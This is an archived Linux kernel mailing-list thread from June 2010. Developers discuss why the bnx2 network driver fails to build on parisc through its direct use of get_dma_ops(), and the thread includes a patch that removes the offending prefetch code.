References: <20100617040356.GA8105@linux-sh.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1276747871 28126 80.91.229.12 (17 Jun 2010 04:11:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 04:11:11 +0000 (UTC)
Cc: "'Mike Frysinger'" <vapier@gentoo.org>,
	"James Bottomley" <JBottomley@novell.com>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"FUJITA Tomonori" <fujita.tomonori@lab.ntt.co.jp>
To: "'Paul Mundt'" <lethal@linux-sh.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 06:11:08 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OP6RY-00059O-5B
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 06:11:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750946Ab0FQELG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 00:11:06 -0400
Original-Received: from mms1.broadcom.com ([216.31.210.17]:3632 "EHLO mms1.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750926Ab0FQELG convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 00:11:06 -0400
Original-Received: from [10.9.200.131] by mms1.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Wed, 16 Jun 2010 21:10:59 -0700
X-Server-Uuid: 02CED230-5797-4B57-9875-D5D2FEE4708A
Original-Received: from IRVEXCHCCR01.corp.ad.broadcom.com ([10.252.49.30]) by
 IRVEXCHHUB01.corp.ad.broadcom.com ([10.9.200.131]) with mapi; Wed, 16
 Jun 2010 21:10:59 -0700
Thread-Topic: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Thread-Index: AcsN0i3xoVlxytTSSsmD3f/+t1jEdwAAJy0A
In-Reply-To: <20100617040356.GA8105@linux-sh.org>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
X-WSS-ID: 60077FD920S160176415-01-01
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2933 gmane.linux.network:164175 gmane.linux.kernel:999815
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2933>

Paul Mundt wrote:

> On Wed, Jun 16, 2010 at 08:53:57PM -0700, Michael Chan wrote:
> > If sync_single is not defined, that means the CPU has a consistent
> > view of next_rx_buf and so it makes sense to prefetch it.
> >
> Except that's not a valid assertion, there are platforms that
> implement
> it for sanity checks yet still have consistent DMA. You are making
> inherently non-portable assumptions for a PCI driver, which is a good
> example of why drivers should never be side-stepping the API
> in the first
> place. If you want to have a micro-optimization for the consistent DMA
> case, you can check dma_is_consistent(), which is part of the API and
> will be variable on certain platform configurations (ie, some may be
> consistent with PCI but not on other busses, etc.)
>
>

Thanks for the tip.  I didn't know about the dma_is_consistent() API.
I'll use this to fix it then.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <JBottomley@Novell.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Wed, 16 Jun 2010 23:20:38 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <1276748438.2847.1190.camel@mulgrave.site>
References: <C27F8246C663564A84BB7AB3439772421B79CBCA1C@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276748460 29310 80.91.229.12 (17 Jun 2010 04:21:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 04:21:00 +0000 (UTC)
Cc: 'Mike Frysinger' <vapier@gentoo.org>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
To: Michael Chan <mchan@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 06:20:58 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OP6b4-0007UT-9v
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 06:20:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751065Ab0FQEUq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 00:20:46 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:41713 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750946Ab0FQEUp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 00:20:45 -0400
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 7AF218765C;
	Thu, 17 Jun 2010 06:20:44 +0200 (CEST)
In-Reply-To: <C27F8246C663564A84BB7AB3439772421B79CBCA1C@IRVEXCHCCR01.corp.ad.broadcom.com>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2934 gmane.linux.network:164176 gmane.linux.kernel:999819
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2934>

On Wed, 2010-06-16 at 20:53 -0700, Michael Chan wrote:
> Mike Frysinger wrote:
> 
> > On Wed, Jun 16, 2010 at 9:13 PM, James Bottomley wrote:
> > > I'm not quite sure whose fault this one is.
> > >
> > > However, this code in bnx2.c:
> > >
> > >                if (!get_dma_ops(&pdev->dev)->sync_single_for_cpu) {
> > >                        next_rx_buf =
> > >                                &rxr->rx_buf_ring[
> > >                                        RX_RING_IDX(NEXT_RX_BD(sw_cons))];
> > >                        prefetch(next_rx_buf->desc);
> > >                }
> > >
> > > Looks remarkably fragile: what exactly is it trying to do?
> 
> If sync_single is not defined, that means the CPU has a consistent
> view of next_rx_buf and so it makes sense to prefetch it.

That's not entirely a correct statement.  Many architectures make a DMA
area coherent by turning off the CPU cache over it.  In that case,
prefetching makes absolutely no sense (although it usually works but is
a nop).

> > > The commit that causes the problem:
> > >
> > > commit a33fa66bcf365ffe5b79d1ae1d3582cc261ae56e
> > > Author: Michael Chan <mchan@broadcom.com>
> > > Date:   Thu May 6 08:58:13 2010 +0000
> > >
> > >    bnx2: Add prefetches to rx path.
> > >
> > > Looks fairly innocuous by the description.
> > >
> > > Should parisc have a get_dma_ops()?  We don't need one
> > because our dma
> > > ops are per platform not per bus.
> >
> > looks like it'll be broken on more than just parisc:
> > $ grep get_dma_ops arch/*/include/asm/ -rl | cut -d/ -f 2
> > alpha
> > ia64
> > microblaze
> > powerpc
> > sh
> > sparc
> > x86
> 
> Most of these archs use the dma functions in:
> 
> <asm-genric/dma-mapping-common.h>
> 
> so it's not a problem.

Parisc begs to differ.

Plus you're making assumptions about the contents of the ops structure
which is an internal architecture object ... that's bound to run into
portability problems even if we make it compile on all platform.

> I think I'll send in a patch to remove that part of the code
> from bnx2.c for now.

I think that's the best solution.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Chan" <mchan@broadcom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Wed, 16 Jun 2010 23:24:44 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <C27F8246C663564A84BB7AB3439772421B79CBCA1E@IRVEXCHCCR01.corp.ad.broadcom.com>
References: <C27F8246C663564A84BB7AB3439772421B79CBCA1D@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1276755905 14720 80.91.229.12 (17 Jun 2010 06:25:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 06:25:05 +0000 (UTC)
Cc: "'Mike Frysinger'" <vapier@gentoo.org>,
	"James Bottomley" <JBottomley@novell.com>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"FUJITA Tomonori" <fujita.tomonori@lab.ntt.co.jp>
To: "'davem@davemloft.net'" <davem@davemloft.net>,
	"'Paul Mundt'" <lethal@linux-sh.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 08:25:02 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OP8X5-0000xW-MY
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 08:25:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753672Ab0FQGY6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 02:24:58 -0400
Original-Received: from mms2.broadcom.com ([216.31.210.18]:3939 "EHLO mms2.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753634Ab0FQGY5 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 02:24:57 -0400
Original-Received: from [10.9.200.131] by mms2.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Wed, 16 Jun 2010 23:24:46 -0700
X-Server-Uuid: D3C04415-6FA8-4F2C-93C1-920E106A2031
Original-Received: from IRVEXCHCCR01.corp.ad.broadcom.com ([10.252.49.30]) by
 IRVEXCHHUB01.corp.ad.broadcom.com ([10.9.200.131]) with mapi; Wed, 16
 Jun 2010 23:24:46 -0700
Thread-Topic: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Thread-Index: AcsN0i3xoVlxytTSSsmD3f/+t1jEdwAAJy0AAAaSq7A=
In-Reply-To: <C27F8246C663564A84BB7AB3439772421B79CBCA1D@IRVEXCHCCR01.corp.ad.broadcom.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
X-WSS-ID: 60076027100286353-01-01
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2935 gmane.linux.network:164178 gmane.linux.kernel:999834
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2935>

Michael Chan wrote:
>
> Paul Mundt wrote:
>
> > If you want to have a micro-optimization for the consistent DMA
> > case, you can check dma_is_consistent(), which is part of the API and
> > will be variable on certain platform configurations (ie, some may be
> > consistent with PCI but not on other busses, etc.)
> >
> >
>
> Thanks for the tip.  I didn't know about the dma_is_consistent() API.
> I'll use this to fix it then.
>

David, why is dma_is_consistent() always returning 1 on sparc?  The
streaming DMA is not consistent.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 21:13:42 +0900
Lines: 34
Approved: news@gmane.org
Message-ID: <20100617210358A.fujita.tomonori@lab.ntt.co.jp>
References: <1276737229.2847.853.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276776908 23640 80.91.229.12 (17 Jun 2010 12:15:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 12:15:08 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, fujita.tomonori@lab.ntt.co.jp,
	mchan@broadcom.com
To: JBottomley@Novell.com
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 17 14:15:06 2010
connect(): No such file or directory
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OPDzu-0002dg-7z
	for glk-linux-kernel-3@lo.gmane.org; Thu, 17 Jun 2010 14:15:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932517Ab0FQMNv (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 17 Jun 2010 08:13:51 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:33747 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759832Ab0FQMNs (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 17 Jun 2010 08:13:48 -0400
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id o5HCDgIK015621;
	Thu, 17 Jun 2010 21:13:42 +0900
In-Reply-To: <1276737229.2847.853.camel@mulgrave.site>
Original-Lines: 34
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Thu, 17 Jun 2010 21:13:43 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.96.1 at sh
X-Virus-Status: Clean
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:999926 gmane.linux.network:164197 gmane.linux.ports.parisc:2936
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2936>

On Wed, 16 Jun 2010 20:13:49 -0500
James Bottomley <JBottomley@Novell.com> wrote:

> I'm not quite sure whose fault this one is.
> 
> However, this code in bnx2.c:
> 
> 		if (!get_dma_ops(&pdev->dev)->sync_single_for_cpu) {
> 			next_rx_buf =
> 				&rxr->rx_buf_ring[
> 					RX_RING_IDX(NEXT_RX_BD(sw_cons))];
> 			prefetch(next_rx_buf->desc);
> 		}
> 
> Looks remarkably fragile: what exactly is it trying to do?
> 
> The commit that causes the problem:
> 
> commit a33fa66bcf365ffe5b79d1ae1d3582cc261ae56e
> Author: Michael Chan <mchan@broadcom.com>
> Date:   Thu May 6 08:58:13 2010 +0000
> 
>     bnx2: Add prefetches to rx path.
> 
> Looks fairly innocuous by the description.
> 
> Should parisc have a get_dma_ops()?  We don't need one because our dma
> ops are per platform not per bus.

Shouldn't. Only the architectures that use
include/dma-generic/dma-mapping.common.h need to have get_dma_ops().

Using include/dma-generic/dma-mapping.common.h for parisc is not a bad
idea though.

From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 21:13:43 +0900
Lines: 41
Approved: news@gmane.org
Message-ID: <20100617210539V.fujita.tomonori@lab.ntt.co.jp>
References: <1276737229.2847.853.camel@mulgrave.site>
	<20100616.181632.27807395.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276776914 23654 80.91.229.12 (17 Jun 2010 12:15:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 12:15:14 +0000 (UTC)
Cc: JBottomley@Novell.com, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	fujita.tomonori@lab.ntt.co.jp, mchan@broadcom.com
To: davem@davemloft.net
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 14:15:08 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPDzv-0002dg-CZ
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 14:15:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932705Ab0FQMNz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 08:13:55 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:59827 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759899Ab0FQMNw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 08:13:52 -0400
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id o5HCDgIM015621;
	Thu, 17 Jun 2010 21:13:43 +0900
In-Reply-To: <20100616.181632.27807395.davem@davemloft.net>
Original-Lines: 36
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Thu, 17 Jun 2010 21:13:44 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.96.1 at sh
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2937 gmane.linux.network:164198 gmane.linux.kernel:999927
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2937>

On Wed, 16 Jun 2010 18:16:32 -0700 (PDT)
David Miller <davem@davemloft.net> wrote:

> From: James Bottomley <JBottomley@Novell.com>
> Date: Wed, 16 Jun 2010 20:13:49 -0500
> 
> > However, this code in bnx2.c:
> > 
> > 		if (!get_dma_ops(&pdev->dev)->sync_single_for_cpu) {
> > 			next_rx_buf =
> > 				&rxr->rx_buf_ring[
> > 					RX_RING_IDX(NEXT_RX_BD(sw_cons))];
> > 			prefetch(next_rx_buf->desc);
> > 		}
> > 
> > Looks remarkably fragile: what exactly is it trying to do?
> > 
> > The commit that causes the problem:
> > 
> > commit a33fa66bcf365ffe5b79d1ae1d3582cc261ae56e
> > Author: Michael Chan <mchan@broadcom.com>
> > Date:   Thu May 6 08:58:13 2010 +0000
> > 
> >     bnx2: Add prefetches to rx path.
> > 
> > Looks fairly innocuous by the description.
> > 
> > Should parisc have a get_dma_ops()?  We don't need one because our dma
> > ops are per platform not per bus.
> 
> I think asking for get_dma_ops() directly in a driver is dodgy at
> best, especially one that is meant to compile on any PCI supporting
> system.  At least right now.

Yeah, it should be used only in the architecture core
code. get_dma_ops() is not mentioned in DMA-API-* docs.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 21:13:44 +0900
Lines: 107
Approved: news@gmane.org
Message-ID: <20100617211203O.fujita.tomonori@lab.ntt.co.jp>
References: <AANLkTilSfOwwT87mgDcWBogL4gPnM7VBTOALKpZv_upN@mail.gmail.com>
	<C27F8246C663564A84BB7AB3439772421B79CBCA1C@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276776915 23675 80.91.229.12 (17 Jun 2010 12:15:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 12:15:15 +0000 (UTC)
Cc: vapier@gentoo.org, JBottomley@Novell.com, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	fujita.tomonori@lab.ntt.co.jp
To: mchan@broadcom.com
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 17 14:15:10 2010
connect(): No such file or directory
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OPDzx-0002dg-MY
	for glk-linux-kernel-3@lo.gmane.org; Thu, 17 Jun 2010 14:15:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932827Ab0FQMOA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 17 Jun 2010 08:14:00 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:59830 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932742Ab0FQMN4 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 17 Jun 2010 08:13:56 -0400
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id o5HCDgIO015621;
	Thu, 17 Jun 2010 21:13:44 +0900
In-Reply-To: <C27F8246C663564A84BB7AB3439772421B79CBCA1C@IRVEXCHCCR01.corp.ad.broadcom.com>
Original-Lines: 107
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Thu, 17 Jun 2010 21:13:44 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.96.1 at sh
X-Virus-Status: Clean
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:999928 gmane.linux.network:164199 gmane.linux.ports.parisc:2938
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2938>

On Wed, 16 Jun 2010 20:53:57 -0700
"Michael Chan" <mchan@broadcom.com> wrote:

> > > The commit that causes the problem:
> > >
> > > commit a33fa66bcf365ffe5b79d1ae1d3582cc261ae56e
> > > Author: Michael Chan <mchan@broadcom.com>
> > > Date:   Thu May 6 08:58:13 2010 +0000
> > >
> > >    bnx2: Add prefetches to rx path.
> > >
> > > Looks fairly innocuous by the description.
> > >
> > > Should parisc have a get_dma_ops()?  We don't need one
> > because our dma
> > > ops are per platform not per bus.
> >
> > looks like it'll be broken on more than just parisc:
> > $ grep get_dma_ops arch/*/include/asm/ -rl | cut -d/ -f 2
> > alpha
> > ia64
> > microblaze
> > powerpc
> > sh
> > sparc
> > x86
> 
> Most of these archs use the dma functions in:
> 
> <asm-genric/dma-mapping-common.h>
> 
> so it's not a problem.

No, it's wrong assumption. asm-genric/dma-mapping-common.h is the
helper code to simplify architecture's DMA core code. Some
architecture uses it and some don't.

You can't expect every architectures to use it.


> I think I'll send in a patch to remove that part of the code
> from bnx2.c for now.

Yeah. I'm not sure you already sent a patch.

=
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Date: Thu, 17 Jun 2010 13:06:15 +0900
Subject: [PATCH] bnx2: fix dma_get_ops compilation breakage

This removes dma_get_ops() prefetch optimization in bnx2.

bnx2 uses dma_get_ops() to see if dma_sync_single_for_cpu() is
noop. bnx2 does prefetch if it's noop.

But dma_get_ops() isn't available on all the architectures (only the
architectures that uses dma_map_ops struct have it). Using
dma_get_ops() in drivers leads to compilation breakage on many
archtectures.

Currently, we don't have a way to see if dma_sync_single_for_cpu() is
noop. If it can improve the performance notably, we can add the new
DMA API for it.

Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
---
 drivers/net/bnx2.c |   10 +---------
 1 files changed, 1 insertions(+), 9 deletions(-)

diff --git a/drivers/net/bnx2.c b/drivers/net/bnx2.c
index 949d7a9..b3305fc 100644
--- a/drivers/net/bnx2.c
+++ b/drivers/net/bnx2.c
@@ -3073,7 +3073,6 @@ bnx2_rx_int(struct bnx2 *bp, struct bnx2_napi *bnapi, int budget)
 	u16 hw_cons, sw_cons, sw_ring_cons, sw_prod, sw_ring_prod;
 	struct l2_fhdr *rx_hdr;
 	int rx_pkt = 0, pg_ring_used = 0;
-	struct pci_dev *pdev = bp->pdev;
 
 	hw_cons = bnx2_get_hw_rx_cons(bnapi);
 	sw_cons = rxr->rx_cons;
@@ -3086,7 +3085,7 @@ bnx2_rx_int(struct bnx2 *bp, struct bnx2_napi *bnapi, int budget)
 	while (sw_cons != hw_cons) {
 		unsigned int len, hdr_len;
 		u32 status;
-		struct sw_bd *rx_buf, *next_rx_buf;
+		struct sw_bd *rx_buf;
 		struct sk_buff *skb;
 		dma_addr_t dma_addr;
 		u16 vtag = 0;
@@ -3098,13 +3097,6 @@ bnx2_rx_int(struct bnx2 *bp, struct bnx2_napi *bnapi, int budget)
 		rx_buf = &rxr->rx_buf_ring[sw_ring_cons];
 		skb = rx_buf->skb;
 		prefetchw(skb);
-
-		if (!get_dma_ops(&pdev->dev)->sync_single_for_cpu) {
-			next_rx_buf =
-				&rxr->rx_buf_ring[
-					RX_RING_IDX(NEXT_RX_BD(sw_cons))];
-			prefetch(next_rx_buf->desc);
-		}
 		rx_buf->skb = NULL;
 
 		dma_addr = dma_unmap_addr(rx_buf, mapping);
-- 
1.5.6.5


From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 21:21:13 +0900
Lines: 30
Approved: news@gmane.org
Message-ID: <20100617211946A.fujita.tomonori@lab.ntt.co.jp>
References: <C27F8246C663564A84BB7AB3439772421B79CBCA1D@IRVEXCHCCR01.corp.ad.broadcom.com>
	<C27F8246C663564A84BB7AB3439772421B79CBCA1E@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
